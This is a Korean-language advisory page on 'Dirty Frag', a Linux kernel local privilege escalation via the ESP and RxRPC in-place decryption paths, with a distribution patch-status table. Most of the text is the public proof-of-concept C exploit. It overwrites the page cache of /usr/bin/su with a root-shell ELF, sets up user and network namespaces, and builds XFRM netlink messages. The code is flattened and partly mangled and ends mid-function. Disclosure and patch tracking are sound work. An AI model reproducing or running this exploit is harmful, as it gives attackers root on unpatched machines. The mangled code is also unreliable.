
Dirty Frag - Linux 커널 중요 취약점
익스플로잇 체인은 로컬 권한 상승 (LPE) 으로 분류되며, 권한이 없는 사용자가 2017년 이후 출시된 커널을 실행하는 거의 모든 최신 Linux 배포판에서 루트 액세스를 얻을 수 있도록 합니다. 이는 약 9년간의 버전에 걸쳐 있습니다. 이 공격은 esp4, esp6 및 rxrpc 모듈의 인플레이스 복호화 경로를 통해 작동하며, splice(2) 및 sendmsg(2)와 같은 표준 시스템 콜을 통해 커널 페이지 캐시를 손상시킵니다. 사용자 상호 작용이나 원격 공격 벡터가 필요하지 않습니다.
두 가지 구성 요소 취약점은 다음과 같습니다:
xfrm-ESP 페이지-캐시 쓰기 - CVE-2026-43284, IPsec ESP 입력 경로에 있습니다. 2026년 5월 7일 netdev 트리에 병합되었고 2026년 5월 8일 커밋 f4c50a4034e6 (새 탭에서 열림)로 메인라인에 승인되었습니다.
RxRPC 페이지-캐시 쓰기 - CVE-2026-43500 예약됨, AFS RxRPC 검증 경로에 있습니다. 공개 시점에 어떤 트리에도 패치가 존재하지 않습니다.
| 배포판 | 영향 버전 | CVE-2026-43284 (ESP) | CVE-2026-43500 (RxRPC) | 패치 상태 |
|---|---|---|---|---|
| RHEL | 8, 9, 10 | ✅ 영향을 받음 | ✅ 영향을 받음 | 패치됨 |
| AlmaLinux | 8, 9, 10 | ✅ 영향을 받음 | ⚠️ 9 및 10만¹ | 패치됨 |
| Rocky Linux | 8, 9, 10 | ✅ 영향을 받음 | ✅ 영향을 받음 | 패치됨 |
| CentOS | 8 | ✅ 영향을 받음 | ✅ 영향을 받음 | 패치됨 |
| CloudLinux | 7 Hybrid, 8, 9, 10 | ✅ 영향을 받음 | ✅ 영향을 받음 | 패치됨 |
| Oracle Linux | RHCK / UEK 영향을 받음 | ✅ 영향을 받음 | ✅ 영향을 받음 | 패치됨 |
| Ubuntu | 20.04, 22.04, 24.04 | ✅ 영향을 받음 | ✅ 영향을 받음 | 패치됨 |
| Debian | Bullseye, Bookworm, Trixie | ✅ 영향을 받음 | ✅ 영향을 받음 | 패치됨 (sid 먼저) |
| Fedora | 현재 릴리스 | ✅ 영향을 받음 | ✅ 영향을 받음 | 패치됨 |
| Arch Linux | 롤링 | ✅ 영향을 받음 | ✅ 영향을 받음 | 패치됨 |
| Amazon Linux | 2, 2023 | ✅ 영향을 받음 | ✅ 영향을 받음 | 패치됨 |
| Proxmox VE | 현재 릴리스 | ✅ 영향을 받음 | ✅ 영향을 받음 | 패치됨 |
영향: Linux 커널 ≥ 4.14 (2017년 1월부터) · 모든 주요 배포판 · 원격 벡터 없음 CVSS 3.1: 8.8 HIGH (CVE-2026-43284) · 공개일: 2026년 5월 7일 · PoC 공개 제로 데이 연구자: Hyunwoo Kim (@v4bel)
#ifndef UDP_ENCAP #define UDP_ENCAP 100 #endif #ifndef UDP_ENCAP_ESPINUDP #define UDP_ENCAP_ESPINUDP 2 #endif #ifndef SOL_UDP #define SOL_UDP 17 #endif
#define ENC_PORT 4500 #define SEQ_VAL 200 #define REPLAY_SEQ 100 #define TARGET_PATH "/usr/bin/su" #define PATCH_OFFSET 0 /* overwrite whole ELF starting at file[0] / #define PAYLOAD_LEN 192 / bytes of shell_elf to write (48 triggers) / #define ENTRY_OFFSET 0x78 / shellcode entry inside the new ELF */
/*
setgid(0); setuid(0); setgroups(0, NULL);
execve("/bin/sh", NULL, ["TERM=xterm", NULL]);
extern int g_su_verbose; int g_su_verbose = 0; #define SLOG(fmt, ...) do { if (g_su_verbose) fprintf(stderr, "[su] " fmt "\n", ##VA_ARGS); } while (0)
static int write_proc(const char *path, const char *buf) { int fd = open(path, O_WRONLY); if (fd < 0) return -1; int n = write(fd, buf, strlen(buf)); close(fd); return n; }
static void setup_userns_netns(void) { uid_t real_uid = getuid(); gid_t real_gid = getgid(); if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) { SLOG("unshare: %s", strerror(errno)); exit(1); } write_proc("/proc/self/setgroups", "deny"); char map[64]; snprintf(map, sizeof(map), "0 %u 1", real_uid); if (write_proc("/proc/self/uid_map", map) < 0) { SLOG("uid_map: %s", strerror(errno)); exit(1); } snprintf(map, sizeof(map), "0 %u 1", real_gid); if (write_proc("/proc/self/gid_map", map) < 0) { SLOG("gid_map: %s", strerror(errno)); exit(1); } int s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) { SLOG("socket: %s", strerror(errno)); exit(1); } struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, "lo", IFNAMSIZ); if (ioctl(s, SIOCGIFFLAGS, &ifr) < 0) { SLOG("SIOCGIFFLAGS: %s", strerror(errno)); exit(1); } ifr.ifr_flags |= IFF_UP | IFF_RUNNING; if (ioctl(s, SIOCSIFFLAGS, &ifr) < 0) { SLOG("SIOCSIFFLAGS: %s", strerror(errno)); exit(1); } close(s); }
static void put_attr(struct nlmsghdr *nlh, int type, const void *data, size_t len) { struct rtattr *rta = (struct rtattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len)); rta->rta_type = type; rta->rta_len = RTA_LENGTH(len); memcpy(RTA_DATA(rta), data, len); nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(rta->rta_len); }
static int add_xfrm_sa(uint32_t spi, uint32_t patch_seqhi) { int sk = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM); if (sk < 0) return -1; struct sockaddr_nl nl = { .nl_family = AF_NETLINK }; if (bind(sk, (struct sockaddr*)&nl, sizeof(nl)) < 0) { close(sk); return -1; }
char buf[4096] = {0};
struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
nlh->nlmsg_type = XFRM_MSG_NEWSA;
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
nlh->nlmsg_pid = getpid();
nlh->nlmsg_seq = 1;
nlh->nlmsg_len = NLMSG_LENGTH(sizeof(struct xfrm_usersa_info));